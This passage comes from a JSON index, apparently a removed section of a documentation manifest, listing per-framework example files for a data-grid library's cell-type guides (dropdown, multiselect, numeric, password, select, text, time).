"guides/cell-types/dropdown-cell-type/javascript/example5.js", - "file": "guides__cell-types__dropdown-cell-type__javascript__example5.js.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example5", - "exampleTitle": "Set the dropdown height", - "docPermalink": "/dropdown-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/react/example5.tsx", - "file": "guides__cell-types__dropdown-cell-type__react__example5.tsx.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example5", - "exampleTitle": "Set the dropdown height", - "docPermalink": "/dropdown-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example5.ts", - "file": "guides__cell-types__dropdown-cell-type__javascript__example5.ts.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example5", - "exampleTitle": "Set the dropdown height", - "docPermalink": "/dropdown-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/dropdown-cell-type/vue/example5.vue", - "file": "guides__cell-types__dropdown-cell-type__vue__example5.vue.json", - "breadcrumb": [ - "Cell Types", - "Dropdown cell type" - ], - "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", - "guideTitle": "Dropdown cell type", - "exampleId": "example5", - "exampleTitle": "Set the dropdown height", - "docPermalink": "/dropdown-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/handsontable-cell-type/angular/example1.ts", - "file": "guides__cell-types__handsontable-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Handsontable cell type" - ], - "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", - "guideTitle": "Handsontable cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/handsontable-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/handsontable-cell-type/javascript/example1.js", - "file": "guides__cell-types__handsontable-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Handsontable cell type" - ], - "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", - "guideTitle": "Handsontable cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/handsontable-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/handsontable-cell-type/react/example1.tsx", - "file": "guides__cell-types__handsontable-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Handsontable cell type" - ], - "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", - "guideTitle": "Handsontable cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/handsontable-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/handsontable-cell-type/javascript/example1.ts", - "file": "guides__cell-types__handsontable-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Handsontable cell type" - ], - "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", - "guideTitle": "Handsontable cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/handsontable-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/handsontable-cell-type/vue/example1.vue", - "file": "guides__cell-types__handsontable-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Handsontable cell type" - ], - "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", - "guideTitle": "Handsontable cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/handsontable-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/angular/example1.ts", - "file": "guides__cell-types__multiselect-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/multiselect-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example1.js", - "file": "guides__cell-types__multiselect-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/multiselect-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/react/example1.tsx", - "file": "guides__cell-types__multiselect-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/multiselect-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example1.ts", - "file": "guides__cell-types__multiselect-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/multiselect-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/vue/example1.vue", - "file": "guides__cell-types__multiselect-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/multiselect-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/angular/example2.ts", - "file": "guides__cell-types__multiselect-cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example2", - "exampleTitle": "Array of objects", - "docPermalink": "/multiselect-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example2.js", - "file": "guides__cell-types__multiselect-cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example2", - "exampleTitle": "Array of objects", - "docPermalink": "/multiselect-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/react/example2.tsx", - "file": "guides__cell-types__multiselect-cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example2", - "exampleTitle": "Array of objects", - "docPermalink": "/multiselect-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example2.ts", - "file": "guides__cell-types__multiselect-cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example2", - "exampleTitle": "Array of objects", - "docPermalink": "/multiselect-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/vue/example2.vue", - "file": "guides__cell-types__multiselect-cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example2", - "exampleTitle": "Array of objects", - "docPermalink": "/multiselect-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/angular/example3.ts", - "file": "guides__cell-types__multiselect-cell-type__angular__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example3", - "exampleTitle": "Other options", - "docPermalink": "/multiselect-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example3.js", - "file": "guides__cell-types__multiselect-cell-type__javascript__example3.js.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example3", - "exampleTitle": "Other options", - "docPermalink": "/multiselect-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/react/example3.tsx", - "file": "guides__cell-types__multiselect-cell-type__react__example3.tsx.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example3", - "exampleTitle": "Other options", - "docPermalink": "/multiselect-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example3.ts", - "file": "guides__cell-types__multiselect-cell-type__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example3", - "exampleTitle": "Other options", - "docPermalink": "/multiselect-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/multiselect-cell-type/vue/example3.vue", - "file": "guides__cell-types__multiselect-cell-type__vue__example3.vue.json", - "breadcrumb": [ - "Cell Types", - "MultiSelect cell type" - ], - "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", - "guideTitle": "MultiSelect cell type", - "exampleId": "example3", - "exampleTitle": "Other options", - "docPermalink": "/multiselect-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/numeric-cell-type/angular/example1.ts", - "file": "guides__cell-types__numeric-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Numeric cell type" - ], - "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", - "guideTitle": "Numeric cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/numeric-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/numeric-cell-type/javascript/example1.js", - "file": "guides__cell-types__numeric-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Numeric cell type" - ], - "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", - "guideTitle": "Numeric cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/numeric-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/numeric-cell-type/react/example1.tsx", - "file": "guides__cell-types__numeric-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Numeric cell type" - ], - "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", - "guideTitle": "Numeric cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/numeric-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/numeric-cell-type/javascript/example1.ts", - "file": "guides__cell-types__numeric-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Numeric cell type" - ], - "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", - "guideTitle": "Numeric cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/numeric-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/numeric-cell-type/vue/example1.vue", - "file": "guides__cell-types__numeric-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Numeric cell type" - ], - "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", - "guideTitle": "Numeric cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/numeric-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/password-cell-type/angular/example1.ts", - "file": "guides__cell-types__password-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/password-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example1.js", - "file": "guides__cell-types__password-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/password-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/react/example1.tsx", - "file": "guides__cell-types__password-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/password-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example1.ts", - "file": "guides__cell-types__password-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/password-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/vue/example1.vue", - "file": "guides__cell-types__password-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/password-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/password-cell-type/angular/example2.ts", - "file": "guides__cell-types__password-cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example2", - "exampleTitle": "Fixed hash length", - "docPermalink": "/password-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example2.js", - "file": "guides__cell-types__password-cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example2", - "exampleTitle": "Fixed hash length", - "docPermalink": "/password-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/react/example2.tsx", - "file": "guides__cell-types__password-cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example2", - "exampleTitle": "Fixed hash length", - "docPermalink": "/password-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example2.ts", - "file": "guides__cell-types__password-cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example2", - "exampleTitle": "Fixed hash length", - "docPermalink": "/password-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/vue/example2.vue", - "file": "guides__cell-types__password-cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example2", - "exampleTitle": "Fixed hash length", - "docPermalink": "/password-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/password-cell-type/angular/example3.ts", - "file": "guides__cell-types__password-cell-type__angular__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example3", - "exampleTitle": "Custom hash symbol", - "docPermalink": "/password-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example3.js", - "file": "guides__cell-types__password-cell-type__javascript__example3.js.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example3", - "exampleTitle": "Custom hash symbol", - "docPermalink": "/password-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/react/example3.tsx", - "file": "guides__cell-types__password-cell-type__react__example3.tsx.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example3", - "exampleTitle": "Custom hash symbol", - "docPermalink": "/password-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example3.ts", - "file": "guides__cell-types__password-cell-type__javascript__example3.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example3", - "exampleTitle": "Custom hash symbol", - "docPermalink": "/password-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/vue/example3.vue", - "file": "guides__cell-types__password-cell-type__vue__example3.vue.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example3", - "exampleTitle": "Custom hash symbol", - "docPermalink": "/password-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/password-cell-type/angular/example4.ts", - "file": "guides__cell-types__password-cell-type__angular__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example4", - "exampleTitle": "Reveal delay", - "docPermalink": "/password-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example4.js", - "file": "guides__cell-types__password-cell-type__javascript__example4.js.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example4", - "exampleTitle": "Reveal delay", - "docPermalink": "/password-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/react/example4.tsx", - "file": "guides__cell-types__password-cell-type__react__example4.tsx.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example4", - "exampleTitle": "Reveal delay", - "docPermalink": "/password-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/password-cell-type/javascript/example4.ts", - "file": "guides__cell-types__password-cell-type__javascript__example4.ts.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example4", - "exampleTitle": "Reveal delay", - "docPermalink": "/password-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/password-cell-type/vue/example4.vue", - "file": "guides__cell-types__password-cell-type__vue__example4.vue.json", - "breadcrumb": [ - "Cell Types", - "Password cell type" - ], - "guide": "guides/cell-types/password-cell-type/password-cell-type.md", - "guideTitle": "Password cell type", - "exampleId": "example4", - "exampleTitle": "Reveal delay", - "docPermalink": "/password-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/select-cell-type/angular/example1.ts", - "file": "guides__cell-types__select-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Select cell type" - ], - "guide": "guides/cell-types/select-cell-type/select-cell-type.md", - "guideTitle": "Select cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/select-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/select-cell-type/javascript/example1.js", - "file": "guides__cell-types__select-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Select cell type" - ], - "guide": "guides/cell-types/select-cell-type/select-cell-type.md", - "guideTitle": "Select cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/select-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/select-cell-type/react/example1.tsx", - "file": "guides__cell-types__select-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Select cell type" - ], - "guide": "guides/cell-types/select-cell-type/select-cell-type.md", - "guideTitle": "Select cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/select-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/select-cell-type/javascript/example1.ts", - "file": "guides__cell-types__select-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Select cell type" - ], - "guide": "guides/cell-types/select-cell-type/select-cell-type.md", - "guideTitle": "Select cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/select-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/select-cell-type/vue/example1.vue", - "file": "guides__cell-types__select-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Select cell type" - ], - "guide": "guides/cell-types/select-cell-type/select-cell-type.md", - "guideTitle": "Select cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/select-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/text-cell-type/angular/example1.ts", - "file": "guides__cell-types__text-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/text-cell-type/javascript/example1.js", - "file": "guides__cell-types__text-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/text-cell-type/react/example1.tsx", - "file": "guides__cell-types__text-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/text-cell-type/javascript/example1.ts", - "file": "guides__cell-types__text-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/text-cell-type/vue/example1.vue", - "file": "guides__cell-types__text-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/text-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/text-cell-type/angular/example2.ts", - "file": "guides__cell-types__text-cell-type__angular__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example2", - "exampleTitle": "Adding a validator", - "docPermalink": "/text-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/text-cell-type/javascript/example2.js", - "file": "guides__cell-types__text-cell-type__javascript__example2.js.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example2", - "exampleTitle": "Adding a validator", - "docPermalink": "/text-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/text-cell-type/react/example2.tsx", - "file": "guides__cell-types__text-cell-type__react__example2.tsx.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example2", - "exampleTitle": "Adding a validator", - "docPermalink": "/text-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/text-cell-type/javascript/example2.ts", - "file": "guides__cell-types__text-cell-type__javascript__example2.ts.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example2", - "exampleTitle": "Adding a validator", - "docPermalink": "/text-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/text-cell-type/vue/example2.vue", - "file": "guides__cell-types__text-cell-type__vue__example2.vue.json", - "breadcrumb": [ - "Cell Types", - "Text cell type" - ], - "guide": "guides/cell-types/text-cell-type/text-cell-type.md", - "guideTitle": "Text cell type", - "exampleId": "example2", - "exampleTitle": "Adding a validator", - "docPermalink": "/text-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/cell-types/time-cell-type/angular/example1.ts", - "file": "guides__cell-types__time-cell-type__angular__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Time cell type" - ], - "guide": "guides/cell-types/time-cell-type/time-cell-type.md", - "guideTitle": "Time cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/time-cell-type", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/cell-types/time-cell-type/javascript/example1.js", - "file": "guides__cell-types__time-cell-type__javascript__example1.js.json", - "breadcrumb": [ - "Cell Types", - "Time cell type" - ], - "guide": "guides/cell-types/time-cell-type/time-cell-type.md", - "guideTitle": "Time cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/time-cell-type", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/cell-types/time-cell-type/react/example1.tsx", - "file": "guides__cell-types__time-cell-type__react__example1.tsx.json", - "breadcrumb": [ - "Cell Types", - "Time cell type" - ], - "guide": "guides/cell-types/time-cell-type/time-cell-type.md", - "guideTitle": "Time cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/time-cell-type", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/cell-types/time-cell-type/javascript/example1.ts", - "file": "guides__cell-types__time-cell-type__javascript__example1.ts.json", - "breadcrumb": [ - "Cell Types", - "Time cell type" - ], - "guide": "guides/cell-types/time-cell-type/time-cell-type.md", - "guideTitle": "Time cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/time-cell-type", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/cell-types/time-cell-type/vue/example1.vue", - "file": "guides__cell-types__time-cell-type__vue__example1.vue.json", - "breadcrumb": [ - "Cell Types", - "Time cell type" - ], - "guide": "guides/cell-types/time-cell-type/time-cell-type.md", - "guideTitle": "Time cell type", - "exampleId": "example1", - "exampleTitle": "Standard example", - 